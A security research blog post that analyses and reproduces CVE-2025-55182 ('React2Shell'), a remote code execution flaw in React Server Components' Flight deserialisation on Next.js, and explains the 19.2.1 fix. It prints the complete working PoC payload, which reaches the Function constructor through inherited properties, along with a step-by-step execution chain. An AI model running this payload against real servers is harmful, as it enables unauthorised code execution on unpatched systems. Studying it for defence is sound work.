← All Posts한국어로 읽기 ↗

React2Shell(CVE-2025-55182) Review

Analysis and reproduction of CVE-2025-55182

Overview

This post explains and reproduces React2Shell, CVE-2025-55182, the vulnerability that set the internet ablaze last year. React2Shell received a whopping perfect 10.0 under CVSS 3.1.

This post is based on a Next.js server running a vulnerable version.

The lab code is available on GitHub.

Flight Protocol

First, to understand React2Shell, we need to understand the Flight Protocol used by React Server Components. Flight is the serialization format React uses to exchange values between the server and the client. The server sends component rendering results in the Flight format, and the client sends Server Function arguments in that format.

React2Shell is a vulnerability in the process of interpreting arguments received from the client on the server. Deserializing a value received by the server in Flight does not end with JSON parsing. For example, a string like "$1" refers to another model.

Suppose the server receives the following fields.

Field 0 : {"profile" : "$1"}
Field 1 : {"name" : "gl4ss"}

While restoring Field 0, the server encounters "$1" in profile, finds Field 1, and restores it. The final value restored by the server is as follows.

{
profile: {
name: "gl4ss"
}
}

There are other functions besides simple model references. "$@3" returns the Chunk object corresponding to ID 3, and "$B3" finds a Blob stored in FormData. React interprets these notations while receiving data and restores the model’s value.

Original parseModelString() code

Root Cause

The Root Cause in the vulnerable version is that it did not limit the range of properties a Flight reference could read. A reference sent by the client points to the value of another model or a property within it. In React 19.2.0, getOutlinedModel() handles the property path as follows.

let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}

createModelResolver(), which handles pending references, also reads properties with value = value[path[i]].

Because value[path[i]] is an ordinary JS property lookup, it can access both an object’s own properties and properties inherited from its prototype. The interesting part is that reviveModel() in the same file uses hasOwnProperty() to check whether a property belongs directly to an object when iterating over it, but neither of the two functions that read a reference path performs this check.

Original getOutlinedModel() code, original createModelResolver() code

Steps To RCE

Let’s look at poc.py in the GitHub Repo. The payload that poc.py sends to the server is as follows.

{
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'console.log(91455)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}

$1 in Field 0 requests the value of model 1, while Field 1 is parsed as an ordinary JSON object. In this post, object 1 means the ordinary object restored from this field. It is separate from Chunk 1, which React created. Once the references inside the object have been resolved, its main properties are as follows.

1.status == 'resolved_model'
1.reason == 0
1._response == fake response restored from Field 4
1.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'
1.then == Chunk.prototype.then

Let’s see how Chunk.prototype.then ends up in 1.then.

$2:then reads then from the value of Chunk 2. $@3 in Field 2 returns Chunk 3 itself, not the empty array []. Chunk 2’s value therefore contains the Chunk 3 object.
Original $@ handling code

In the end, $2:then looks for then on Chunk 3. Chunk 3 inherits from Chunk.prototype, so the value it reads is Chunk.prototype.then.

$2:then -> Chunk 2.value(Chunk 3) -> Chunk 3.then -> Chunk.prototype.then

Calling then on Chunk 0

Since the target server in this post is Next.js using a vulnerable version of React, this post follows Next.js.

The code to look at is the part of the Next.js 16.0.6 Node runtime that handles multipart Server Action requests.

The PoC sends a next-action: x header and a multipart body. Next.js classifies the request as a fetch-style Server Action and passes the body to decodeReplyFromBusboy(). decodeReplyFromBusboy() calls resolveField() for each Busboy field event and returns getRoot(response). The return value of getRoot() is Chunk 0. This request has no file entries, so Fields 0 through 4 arrive as string fields.

Original decodeReplyFromBusboy() code, original getRoot() code

await decodeReplyFromBusboy(...)
-> Chunk 0.then(resolve, reject)
-> restore Field 0 "$1"
-> return object 1

The value of Chunk 0 is the ordinary object restored from Field 1, which "$1" points to. When await calls Chunk 0’s then, React keeps resolve until the value is ready. Once the reference is resolved, resolve(object 1) is called. The order in which fields arrive does not necessarily match the order in which Chunks are fully restored. When a reference points to a field that has not arrived yet, React waits for that Chunk.

Original resolveModelChunk() function, original getOutlinedModel() function

JavaScript also checks the then of the object passed to resolve. Object 1’s then contains Chunk.prototype.then. The function is called again with object 1 as this.

Chunk 0.then(...)
-> resolve(object 1)
-> object 1.then(...)
= Chunk.prototype.then.call(object 1, ...)

Restoring the fake Chunk’s value

When this.status is resolved_model, Chunk.prototype.then calls initializeModelChunk(this).

Let’s look at object 1 again.

1.status == 'resolved_model'
1.reason == 0
1._response == fake response restored from Field 4
1.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'
1.then == Chunk.prototype.then

Object 1 has status, value, reason, and _response all nicely filled in for Chunk.prototype.then. It is not a real Chunk created by React, but the properties this function needs are filled in just right.

Original Chunk.prototype.then() function

The key part of initializeModelChunk() is as follows.

const rootReference =
chunk.reason === -1 ? undefined : chunk.reason.toString(16);
const resolvedModel = chunk.value;
chunk.status = CYCLIC;
chunk.value = null;
chunk.reason = null;
const rawModel = JSON.parse(resolvedModel);
const value = reviveModel(
chunk._response, { '': rawModel }, '', rawModel, rootReference
);

Here, chunk points to object 1. The following steps then occur.

  • JSON.parse() turns 1.value into an object and stores it in rawModel (until then, it remained a string)
  • 1.reason = 0 makes rootReference "0"
  • chunk._response, passed to reviveModel(), is 1._response, the fake response created from Field 4

Original initializeModelChunk() function

Constructing the fake response

The fake response’s properties are created as follows.

'4': {
'_prefix':'console.log(91455)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}

The object that becomes the value of Chunk 4 has the following properties.

4._prefix == 'console.log(91455)//'
4._formData == { get: Function }
4._chunks == React's internal response._chunks
  1. 4._prefix receives the string console.log(91455)// as it is.
  2. 4._formData is restored as an ordinary object. The value of its get property, '$3:constructor:constructor', is a reference that reads two properties from the value of Chunk 3. It is interpreted as follows.
$3 = []
$3:constructor = []['constructor'] = Array
$3:constructor:constructor = Array['constructor'] = Function

Thus, 4._formData.get contains the Function constructor.

  1. Following 4._chunks one step at a time gives the following result.
$2 == Chunk_3
$2:_response == Chunk_3._response == React's internal response
$2:_response:_chunks == Chunk_3._response._chunks == React's internal response._chunks = Chunk Map

For reference, the Chunk constructor is as follows.

function Chunk(status, value, reason, response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response;
}

Chunk 3 keeps the internal response that React created while restoring the input in _response. $2:_response:_chunks follows that property and obtains the Chunk Map from the internal response. The Chunk Map is needed later when $3:map is processed inside 1.value.

Restoring the value of object 1

Next, let’s look at how the references in 1.value are interpreted.

1.value = '{"then":"$3:map","0":{"then":"$B3"},"length":1}'

$3:map

The first reference in the inner JSON, $3:map, reads map from the value of Chunk 3, [].

$3 == []
$3:map == []['map'] == Array.prototype.map

After the JSON stored in 1.value is parsed, reviveModel() interprets "$3:map". At this point, getOutlinedModel() calls getChunk(1._response, 3). Because the Chunk Map was set in 1._response._chunks, getChunk() returns the existing Chunk 3, letting $3 refer to [].
When it looks for map on the empty Array, it finds it through the prototype chain. The value of $3:map therefore becomes Array.prototype.map.

Original getChunk() function

$B3

Next is the processing of $B3. $B is originally the branch for handling Blob references. This branch does not call getChunk(); it directly calls _formData.get() on the supplied 1._response.

Original $B branch code

const id = parseInt(value.slice(2), 16);
const blobKey = response._prefix + id;
return response._formData.get(blobKey);

This is how the code actually handles a Blob reference. Let’s substitute the payload we sent into this process.

  1. id receives the number 3.
  2. blobKey receives 1._response._prefix + id, or "console.log(91455)//3".
  3. response._formData.get contains the Function constructor.
  4. The return value is therefore Function('console.log(91455)//3').
    In JavaScript, // starts a comment, so the trailing 3 is commented out.

As a result, the object stored in 1.value is as follows.

{
then: Array.prototype.map,
0: { then: Function('console.log(91455)//3') },
length: 1
}

thenable chain

All the pieces are now in place. $B3 has called Function('console.log(91455)//3') to create a function. Now we only need to run that function to complete the RCE.

Chunk.prototype.then passes the restored 1.value to resolve.

Original Chunk.prototype.then() code

case INITIALIZED:
resolve(chunk.value);
break

The value passed here is the object stored in 1.value. Here it is again.

{
then: Array.prototype.map,
0: { then: Function('console.log(91455)//3') },
length: 1
}

This object has a then, so JavaScript calls then again. The function it calls is Array.prototype.map. map can also process a non-array object if it has a length and numeric keys. Here, length is 1 and there is a value at index 0, so it calls the callback once for that value.

1.value.then(resolve, reject)
== Array.prototype.map.call(1.value, resolve, reject)

The first argument to map is the resolve passed by the Promise. map therefore reads the value at index 0 and makes the following call. The second argument, reject, takes the thisArg position of map.

resolve(1.value[0], 0, 1.value)

The value at index 0 is also an object with a then. That then holds the function created by $B3. JavaScript treats this object as a thenable again and calls the function. At this point, the path that executes console.log(91455) in the function body is established.
The path can be summarized as follows.

call then on object 1
-> resolve(1.value)
-> call Array.prototype.map
-> resolve(1.value[0])
-> call then on 1.value[0]
-> run the function created by $B3

91455 printed in the local server log and a ReadTimeout in the Python PoC

This is a screenshot of running poc.py against the local vulnerable server. The server log shows 91455, confirming that the code in the PoC ran on the server.

The 19.2.1 patch

In 19.2.0, getOutlinedModel() read properties named in a path without checking whether the object owned them directly. createModelResolver(), which handles pending references, read them the same way. That was the Root Cause.

value = value[path[i]];

This let the code read inherited properties such as constructor and map on an empty array. 19.2.1 patched this part. If an intermediate value is a ReactPromise, it first extracts its value, then reads only properties the object owns directly. Ready references go through this check in getOutlinedModel(), and references that were pending go through it in fulfillReference().

Original 19.2.0 code, 19.2.1 getOutlinedModel(), 19.2.1 fulfillReference()

// The property lookup in 19.2.1
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}

Now let’s follow the references used in the PoC again.

  1. $3:constructor:constructor looks for constructor on [], the value of Chunk 3. The empty array does not own constructor directly. When the check fails, value remains []. Thus, Function cannot be placed in 4._formData.get.
  2. For $2:_response:_chunks, the value of Chunk 2 is Chunk 3. Before reading the next property, 19.2.1 unwraps this Chunk to its value, []. The empty array has no _response, so it cannot obtain the Chunk Map of React’s internal response.
  3. The reference to $2:then is made while Chunk 2 is still pending. fulfillReference() waits until Chunk 3, the value of Chunk 2, is ready, unwraps it to [], and looks for then. The empty array does not own a then property directly. Thus, Chunk.prototype.then is not placed in object 1’s then.
$3:constructor:constructor -> [] (does not reach Function)
$2:_response:_chunks -> [] (does not reach the Chunk Map)
$2:then -> [] (does not reach Chunk.prototype.then)

The [] above is the value left in place when the property check fails. In this PoC, object 1’s then is not a function, so the second call to initializeModelChunk() described earlier does not follow. The inner JSON containing $3:map and $B3 is not restored along that path either.

References